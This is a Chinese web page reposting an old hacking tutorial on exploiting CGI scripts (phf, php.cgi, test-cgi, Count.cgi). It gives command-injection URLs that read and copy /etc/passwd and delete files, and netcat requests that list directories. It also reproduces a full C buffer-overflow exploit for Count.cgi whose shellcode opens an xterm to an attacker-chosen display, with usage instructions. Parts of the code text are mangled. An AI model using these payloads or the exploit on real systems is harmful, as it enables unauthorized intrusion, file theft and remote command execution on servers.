当前位置:首页 > 服务器类 > 安全防护 > > 最新702种CGI漏洞

最新702种CGI漏洞

点击次数:15 次 发布日期:2008-11-29 18:04:21 作者:源代码网


源代码网供稿.

源代码网推荐

CGI漏洞的利用(一) 
GI漏洞向来是容易被人们忽视的问题,同时也是普遍存在的,前不久攻破PCWEEK LINUX的黑客就是利用了CGI的一个漏洞。
我就自己所知道的和从外国站点看来的一些CGI漏洞来写一些利用CGI的攻击方法,水平有限写得不对的地方请来信告诉我:bamboo@kali.com.cn 
一、phf.cgi攻击: phf是大家所熟悉的了,它本来是用来更新PHONEBOOK的,但是许多管理员对它不了解以至于造成了漏洞。
在浏览器中输入: _blank>http://thegnome.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd ;可以显示出PASSWD文档来。
其实还可以用更好的命令来实现目的: _blank>http://thegnome.com/cgi-bin/phf?%0aid&Qalias=&Qname=haqr&Qemail=&Qnickna ;
me=&Qoffice_phone= 
_blank>http://thegnome.com/cgi-bin/phf?%0als%20-la%20%7Esomeuser&Qalias=&Qname= ;
haqr&Qemail=&Qnickname=&Qoffice_phone= 
_blank>http://thegnome.com/cgi-bin/phf?%0acp%20/etc/passwd%20%7Esomeuser/passwd ;
%0A&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone= 
_blank>http://thegnome.com/~someuser/passwd ;
_blank>http://thegnome.com/cgi-bin/phf?%0arm%20%7Esomeuser/passwd&Qalias=&Qname ;
=haqr&Qemail=&Qnickname=&Qoffice_phone= 以上等于执行了命令: id ls -la ~someuser 
cp /etc/passwd ~someuser/passwd (用普通的可以进入的目录来看passwd) rm ~someuser/passwd 
/P>

二、php.cgi 
除了PHF以外,php也是常见的漏洞,php.cgi 2.0beta10或更早版本中,允许anyone以 
HTTP管理员身份读系统文件,在浏览器中输入: _blank>http://boogered.system.com/cgi-bin/php.cgi?/etc/passwd ;
就可以看到想看的文件。 另外,一部分php.cgi还可以执行shell,原因是它把8k bytes字节放入128bytes的缓冲区中,
造成堆栈段溢出,使得攻击者可以以HTTP管理员的身份执行。 
但是只有PHP作为CGI脚本时才能实现,而在作为Apache模量是不能运行的。想检查能否运行,只要在浏览器中输入:
_blank>http://hostname/cgi-bin/php.cgi ;如果你看到返回这样的字样就可以运行: PHP/FI Version 2.0b10 
... 三、test-cgi的问题 
test-cgi同样是个常常出现的漏洞,在浏览器中输入: _blank>http://thegnome.com/cgi-bin/test-cgi?whatever 
将会返回: CGI/1.0 test script report: argc is 0. argv is . SERVER_SOFTWARE = NCSA/1.4B 
SERVER_NAME = thegnome.com 
GATEWAY_INTERFACE = CGI/1.1 
SERVER_PROTOCOL = HTTP/1.0 
SERVER_PORT = 80 
REQUEST_METHOD = GET 
HTTP_ACCEPT = text/plain, application/x-html, application/html, 
text/html, text/x-html 
PATH_INFO = 
PATH_TRANSLATED = 
SCRIPT_NAME = /cgi-bin/test-cgi 
QUERY_STRING = whatever 
REMOTE_HOST = fifth.column.gov 
REMOTE_ADDR = 200.200.200.200 
REMOTE_USER = 
AUTH_TYPE = 
CONTENT_TYPE = 
CONTENT_LENGTH = 再来一次,这样输入: _blank>http://thegnome.com/cgi-bin/test-cgi?help&0a/bin/cat%20/etc/passwd 
看到PASSWD了? 用netcat 80 端口 进行攻击: machine% echo "GET /cgi-bin/test-cgi?/*" | nc removed.name.com 80 
返回: CGI/1.0 test script report: argc is 1. argv is /*. SERVER_SOFTWARE = NCSA/1.4.1 
SERVER_NAME = removed.name.com 
GATEWAY_INTERFACE = CGI/1.1 
SERVER_PROTOCOL = HTTP/0.9 
SERVER_PORT = 80 
REQUEST_METHOD = GET 
HTTP_ACCEPT = 
PATH_INFO = 
PATH_TRANSLATED = 
SCRIPT_NAME = /bin/cgi-bin/test-cgi 
QUERY_STRING = /a /bin /boot /bsd /cdrom /dev /etc /home /lib /mnt 
/root /sbin /stand /sys /tmp /usr /usr2 /var 
REMOTE_HOST = remote.machine.com 
REMOTE_ADDR = 255.255.255.255 
REMOTE_USER = 
AUTH_TYPE = 
CONTENT_TYPE = 
CONTENT_LENGTH = 显示出了根目录!这样试试: machine% echo "GET /cgi-bin/test-cgi?*" | nc removed.name.com 80 
返回: CGI/1.0 test script report: argc is 1. argv is *. SERVER_SOFTWARE = NCSA/1.4.1 
SERVER_NAME = removed.name.com 
GATEWAY_INTERFACE = CGI/1.1 
SERVER_PROTOCOL = HTTP/0.9 
SERVER_PORT = 80 
REQUEST_METHOD = GET 
HTTP_ACCEPT = 
PATH_INFO = 
PATH_TRANSLATED = 
SCRIPT_NAME = /bin/cgi-bin/test-cgi 
QUERY_STRING = calendar cgi-archie cgi-calendar cgi-date cgi-finger 
cgi-fortune cgi-lib.pl imagemap imagemap.cgi imagemap.conf index.html 
mail-query mail-query-2 majordomo majordomo.cf marker.cgi 
menu message.cgi munger.cgi munger.note ncsa-default.tar post-query 
query smartlist.cf src subscribe.cf test-cgi uptime 
REMOTE_HOST = remote.machine.com 
REMOTE_ADDR = 255.255.255.255 
REMOTE_USER = 
AUTH_TYPE = 
CONTENT_TYPE = 
CONTENT_LENGTH = 显示了/CGI-BIN/目录下的东西。 
CGI漏洞的利用(二) 
CGI漏洞向来是容易被人们忽视的问题,同时也是普遍存在的,前不久攻破PCWEEK LINUX的黑客就是利用了CGI的一个漏洞。
我就自己所知道的和从外国站点看来的一些CGI漏洞来写一些利用CGI的攻击方法,水平有限写得不对的地方请来信告诉我:bamboo@kali.com.cn 
四、Count.cgi溢出漏洞 Count.cgi(wwwcount)是国外网站经常用的CGI网页计数程序,国内很少有人用它,
不过还是有一些网站的CGI-BIN目录下有它,简单说一下它的原理以及利用方法。 
出现问题主要是由于QUERY_STRING 环境变量被复制到一个活动缓冲区,造成溢出,允许远程用户以HTTP管理员的身份执行任意命令。 
有人写了个程序来利用这个漏洞,只对Count.cgi 24以下版本有效: 
/*### count.c ########################################################*/ 
#include  
#include  
#include  
#include  
#include  
#include  
#include  
#include  
#include  /* Forwards */ 
unsigned long getsp(int); 
int usage(char *); 
void doit(char *,long, char *); /* Constants */ 
char shell[]= 
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 
"xebx3cx5ex31xc0x89xf1x8dx5ex18x88x46x2cx88x46x30" 
"x88x46x39x88x46x4bx8dx56x20x89x16x8dx56x2dx89x56" 
"x04x8dx56x31x89x56x08x8dx56x3ax89x56x0cx8dx56x10" 
"x89x46x10xb0x0bxcdx80x31xdbx89xd8x40xcdx80xe8xbf" 
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff" 
"xffxffxffxffxffxffxffxffxffxffxff" 
"/usr/X11R6/bin/xterm0-ut0-display0"; 
char endpad[]= 
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff" 
"xffxffxffxffxffxffxffxffxffxffxff"; int main (int argc, char *argv[]){ 
char *shellcode = NULL; 
int cnt,ver,retcount, dispnum,dotquads[4],offset; 
unsigned long sp; 
char dispname[255]; 
char *host; 
offset = sp = cnt = ver = 0; 
fprintf(stderr," %s - Gus ",argv[0]); 
if (argc<3) usage(argv[0]); while ((cnt = getopt(argc,argv,"h:d:v:o:")) != EOF) { 
switch(cnt){ 
case ""h"": 
host = optarg; 
break; 
case ""d"": 

retcount = sscanf(optarg, "%d.%d.%d.%d:%d", 
&dotquads[0], 
&dotquads[1], 
&dotquads[2], 
&dotquads[3], &dispnum); 
if (retcount != 5) usage(argv[0]); 
sprintf(dispname, "%03d.%03d.%03d.%03d:%01d", 
dotquads[0], dotquads[1], dotquads[2],dotquads[3], dispnum); 
shellcode=malloc(strlen((char *)optarg)+strlen(shell)+strlen(endpad)); 
sprintf(shellcode,"%s%s%s",shell,dispname,endpad); 

break; 
case ""v"": 
ver = atoi(optarg); 
break; 
case ""o"": 
offset = atoi(optarg); 
break; 
default: 
usage(argv[0]); 
break; 

} sp = offset + getsp(ver); 
(void)doit(host,sp,shellcode); exit(0); 
} unsigned long getsp(int ver) { /* Get the stack pointer we should be using. YMMV. If it does not work, 
try using -o X, where x is between -1500 and 1500 */ 
unsigned long sp=0; if (ver == 15) sp = 0xbfffea50; 
if (ver == 20) sp = 0xbfffea50; 
if (ver == 22) sp = 0xbfffeab4; 
if (ver == 23) sp = 0xbfffee38; /* Dunno about this one */ 
if (sp == 0) { 
fprintf(stderr,"I don""t have an sp for that version try using the -o option. "); 
fprintf(stderr,"Versions above 24 are patched for this bug. "); 
exit(1); 
} else { 
return sp; 
} } 
int usage (char *name) { 
fprintf(stderr," Usage:%s -h host -d  -v  [-o ] ",name); 
fprintf(stderr," e.g. %s -h www.foo.bar -d 127.0.0.1:0 -v 22 ",name); 
exit(1); 
} int openhost (char *host, int port) { int sock; 
struct hostent *he; 
struct sockaddr_in sa; he = gethostbyname(host); 
if (he == NULL) { 
perror("Bad hostname "); 
exit(-1); 
} memcpy(&sa.sin_addr, he->h_addr, he->h_length); sa.sin_port=htons(port); 
sa.sin_family=AF_INET; 
sock=socket(AF_INET,SOCK_STREAM,0); 
if (sock < 0) { 
perror ("cannot open socket"); 
exit(-1); 

bzero(&sa.sin_zero,sizeof (sa.sin_zero)); if (connect(sock,(struct sockaddr *)&sa,sizeof sa)<0) { 
perror("cannot connect to host"); 
exit(-1); 
} return(sock); 

void doit (char *host,long sp, char *shellcode) { int cnt,sock; 
char qs[7000]; 
int bufsize = 16; 
char buf[bufsize]; 
char chain[] = "user=a"; bzero(buf); 
for(cnt=0;cnt<4104;cnt+=4) { 
qs[cnt+0] = sp & 0x000000ff; 
qs[cnt+1] = (sp & 0x0000ff00) >> 8; 
qs[cnt+2] = (sp & 0x00ff0000) >> 16; 
qs[cnt+3] = (sp & 0xff000000) >> 24; 

strcpy(qs,chain); 
qs[strlen(chain)]=0x90; qs[4104]= sp&0x000000ff; 
qs[4105]=(sp&0x0000ff00)>>8; 
qs[4106]=(sp&0x00ff0000)>>16; 
qs[4107]=(sp&0xff000000)>>24; 
qs[4108]= sp&0x000000ff; 
qs[4109]=(sp&0x0000ff00)>>8; 
qs[4110]=(sp&0x00ff0000)>>16; 
qs[4111]=(sp&0xff000000)>>24; 
qs[4112]= sp&0x000000ff; 
qs[4113]=(sp&0x0000ff00)>>8; 
qs[4114]=(sp&0x00ff0000)>>16; 
qs[4115]=(sp&0xff000000)>>24; 
qs[4116]= sp&0x000000ff; 
qs[4117]=(sp&0x0000ff00)>>8; 
qs[4118]=(sp&0x00ff0000)>>16; 
qs[4119]=(sp&0xff000000)>>24; 
qs[4120]= sp&0x000000ff; 
qs[4121]=(sp&0x0000ff00)>>8; 
qs[4122]=(sp&0x00ff0000)>>16; 
qs[4123]=(sp&0xff000000)>>24; 
qs[4124]= sp&0x000000ff; 
qs[4125]=(sp&0x0000ff00)>>8; 
qs[4126]=(sp&0x00ff0000)>>16; 
qs[4127]=(sp&0xff000000)>>24; 
qs[4128]= sp&0x000000ff; 
qs[4129]=(sp&0x0000ff00)>>8; 
qs[4130]=(sp&0x00ff0000)>>16; 
qs[4131]=(sp&0xff000000)>>24; 
strcpy((char*)&qs[4132],shellcode); sock = openhost(host,80); 
write(sock,"GET /cgi-bin/Count.cgi?",23); 
write(sock,qs,strlen(qs)); 
write(sock," HTTP/1.0 ",10); 
write(sock,"User-Agent: ",12); 
write(sock,qs,strlen(qs)); 
write(sock," ",2); 
sleep(1); /* printf("GET /cgi-bin/Count.cgi?%s HTTP/1.0 User-Agent: %s ",qs,qs); */ /* 
setenv("HTTP_USER_AGENT",qs,1); 
setenv("QUERY_STRING",qs,1); 
system("./Count.cgi"); 
*/ 
} ———————————————————————————————————— 
用法是:count -h <攻击目标IP> -d <显示> -v  
例如:count -h www.foo.bar -d 127.0.0.1:0 -v 22 五、用Count.cgi看图片 
这个不算是很有用的漏洞,可是既然写到这儿了,也就顺便提一下吧。可以利用Count.cgi看WEB目录以外的图片,
据作者说有一些商业网站的图片里有一些商业机密,所以这个漏洞也算是有点用处吧!哈哈! 在浏览器中这样输入: 
其中/path_to_gif/file.gif是你要看的图片的路径。 注意,这一漏洞只能被用来看(或下载)GIF格式的图片,
而不能用于其他类型的文件。

源代码网整理以下

网友评论 (0)
会员中心
服务器类
本站推荐
服务器类之精华